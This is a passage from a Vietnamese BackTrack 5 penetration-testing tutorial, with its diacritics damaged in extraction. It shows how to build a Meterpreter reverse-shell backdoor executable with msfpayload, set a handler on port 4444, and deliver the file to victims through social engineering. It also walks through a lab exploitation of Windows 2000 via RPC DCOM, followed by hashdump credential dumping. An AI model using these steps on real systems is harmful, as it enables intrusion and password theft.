có đc id ca tin trình trong BackTrack 5 chúng ta s dng câu lnh ps –aux trong môi
trng Cymothoa shell .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 22
3. Meterpreter có phi là backdoor :
Trong phn trc chúng ta đã đc gii thiu s qua v meterpreter nh là mt phn không th
thiu ca b công c Metasploit Framework, nó đc dùng đ thu thp thông tin và to 1 phiên làm
vic trong môi trng shell ca h thng victim .Trong phn này chúng ta s đc gii thiu s dng
meterpreter nh mt backdoor trong BackTrack 5 .
Câu lnh s dng :
/opt/framework/msf3/msfpayload [<options>] <payload> [actions]
ây là cách mà các attacker mun quay tr li h thng ca victim nhiu ln, mà không cn
victim phi click hay thc thi mt mã đc nào c .Anh em cn phi hiu thc s v Metasploit và
Meterpreter, có th tham kho cun hng dn s dng Metasploit ( s đc cung cp trong thi
gian sm nht ) và các phn hng dn trc v BackTrack 5 ca cutynhangheo .
Hình 22 :
To mt backdoor exe s dng msfpayload .
Trong hình 22 anh em có th thy đc file exploit.exe, đây là mã đc ca msf meterpreter
payload đc to ra bng câu lnh msfpayload .Tip tc trong phn hng dn này, chúng ta s to
ra 1 backdoor luôn luôn lng nghe cng 4444 vi phng pháp payloads, h thng ca victim s
luôn luôn kt ni v đa ch ca attacker 192.168.13.132 trên cng 4444 .
Hình 23 :
Handler đc to ra trong Metasploit đ lng nghe backdoor .
S dng Metasploit, to ra mt handler và thit lp các tùy chn LHOST và LPORT trong
msfpayload console .Sau khi đã thc hin xong, ch cn chy exploit .Exploit này có th chy trên bt
c mt mc tiêu nào .Bt c khi nào victim click lên file này – anh em có th gi cho victim bng
cách s dng k thut social engineering hay bt k mt phng pháp trá hình nào cng đc – nó s
lng nghe LHOST và kt ni ngc v attacker thông qua LPORT .Ngay lp tc khi victim thc thi
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 23
file này trên h thng ca h, meterpreter shell s khi to ngay lp tc mt kt ni tc thì .Lúc này
anh em cng có th hình dung ra attacker có th làm điu gì ri hen .
Hình 24 : H thng victim b truy cp bi BT5 thông qua backdoor .
4. Li dng l hng đ có backdoor :
Backdoor là mt kênh kt ni bí mt vào h thng .Các attacker có th truy cp không b hn ch
vào h thng victim bng cách s dng các backdoor, phng pháp này s tit kim thi gian và các
n lc ca k thut tn công ban đu .iu quan trng pentester đó là cn phi thc nghim xâm
nhp h thng và tin hành đánh giá xem h thng đó có d dàng b chim quyn điu khin bi
backdoor hay không, đ ngn nga vic truy cp trái phép này pentester có th s dng các bn vá
li phù hp cho h thng đó .
Các l hng ph bin nht hin nay to điu kin cho vic tn công và chim quyn điu khin
ca backdoor đó là li tràn b đm, cross-site scripting ( XSS ) và qun tr t xa .Phng pháp phòng
v ph bin nht bao gm thng xuyên thay đi chính sách bo mt da trên các kch bn có th xy
ra đ gim thiu mi đe doa có th gây thit hi cho c quan, t chc, thc hin phng pháp kim
soát s an toàn ca phn mm thng xuyên và phi đúng theo tiêu chun bo mt trong lp trình,
cn phi đm bo chc chn kim tra mc đ bo mt v mt ng dng và phi thc hin sa đi các
vn đ đó mt cách thng xuyên .
Trong phn hng dn này, chúng ta đã bit đc làm th nào đ s dng k thut n mình trong
các cuc tn công và xâm nhp .Trong phn hng dn k tip cng là phn kt thúc trong series
hng dn s dng BackTrack 5, cutynhangheo s trình bày mt cuc tn công da trên mt kch bn
gi đnh và s s dng BackTrack 5 đ thc hin, cuc tn công gi đnh này s s dng tt c các
phng pháp và k thut đã đc gii thiu các phn trên .
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 24
Phn V : Chi tit mt cuc tn công gi đnh
Trong bn phn trc ca cun hng dn s dng BackTrack 5, cutynhangheo đã gii thích chi tit
tng giai đon ca quá trình thc nghim xâm nhp .Phn cui cùng này chúng ta s cô đng li tt c t
trc cho đn bây gi, và chúng ta s có cái nhìn nhn khách quan v các khía cnh khác nhau ca đo
đc hacking và thc nghim xâm nhp .
i vi phn hng dn này, chúng ta cn thit lp mt h thng lab nh sau : 1 máy o chy
Windows 7, 1 máy o chy BackTrack 5 và 1 s máy o chy các Windows khác .Chúng ta s đi qua tng
bc ca quá trình tn công và c gng xâm nhp vào h thng mng này nhé .
1. B công c Autoscan Network trong BackTrack 5 :
Sau khi kt ni vào h thng mng, bc đu tiên chúng ta cn scan cu trúc h thng mng và
kim tra xem các h thng đang live trong h thng mng đó . thc hin vic này, chúng ta s
dng b công c Autoscan Network trong BackTrack 5 .ng dn đn b công c nh sau :
Application
Backtrack Information gathering Network analys Network scanners
Autoscan .
Hình 25 : Autoscan Network 1.5 .
Nh hình 25 thì Autoscan Network 1.5 là mt b công c có tính nng scan cu trúc h thng
mng, nó s lit kê tt c các đa ch IP đang đc s dng, chi tit v hostname, users và các h điu
hành đang hot đng trên h thng mng .
Nh các phn hng dn trên, anh em có th s dng Nmap đ làm vic này cng đc .Trc
khi thc hin tn công, chúng ta s thc hin bc phân tích l hng trên mc tiêu cn tn công .
Gi s mc tiêu ca chúng ta có đa ch IP là 192.168.13.129, đang s dng h điu hành
Windows 2000 server, chúng ta có th s dng Nessus hay OpenVAS đ kim tra l hng ca h điu
hành này .Tuy nhiên trong phn hng dn này, cutynhangheo mun anh em nên s dng phng
pháp kim tra l hng bng tay nhé .
2. Tài nguyên l hng trc tuyn :
Tài liu hng dn s dng BackTrack 5 – Ting Vit
2012
Ngi biên dch : Trang 25
Website cung cp các thông tin v l hng ph bin nht nh National Vulnerability Database ti
đa ch
cung cp các thông tin v các l hng khác nhau
cho mt h thng c th .
Hình 26 : National Vulnerability Database Search .
3. Pentest mc tiêu :
Trong phn hng dn này, cutynhangheo s s dng l hng trong Windows 2000 Server đó là
l hng RPC DCOM port cho phép thc thi mã t xa, dn đn vic làm tràn b đm ca h thng
.Trong phn hng dn Metasploit, chúng ta đã bit cách làm th nào đ khai thác các l hng trên
mc tiêu .Nó s khi to 1 meterpreter shell trên h thng Windows 2000 Server có IP là
192.168.13.129, nh hình 27 bên di .BackTrack 5 còn cung cp b công c nh SET, có th đc
s dng đ xâm nhp h thng .
Hình 27 :
Bên trong h thng Windows 2000 Server .
Mt khi chúng ta đã xâm nhp vào bên trong h thng đc, thông tin chi tit v h thng ta có
th thu thp đc .Sau đây là mt s lnh quan trong đ thc hin vic đó :
3.1. Hashdump :
ây là câu lnh dùng đ dump password hashes ( NT/LM ) ca h thng mc
tiêu, thông tin này đc dùng đ crack password v sau đ leo thang đc quyn trên h thng
mc tiêu .
3.2. Sysinfo :
ây là câu lnh dùng đ thu thp thông tin chi tit v h thng mc tiêu nh là h
điu hành, nhà cung cp, tên admin và nhiu th khác .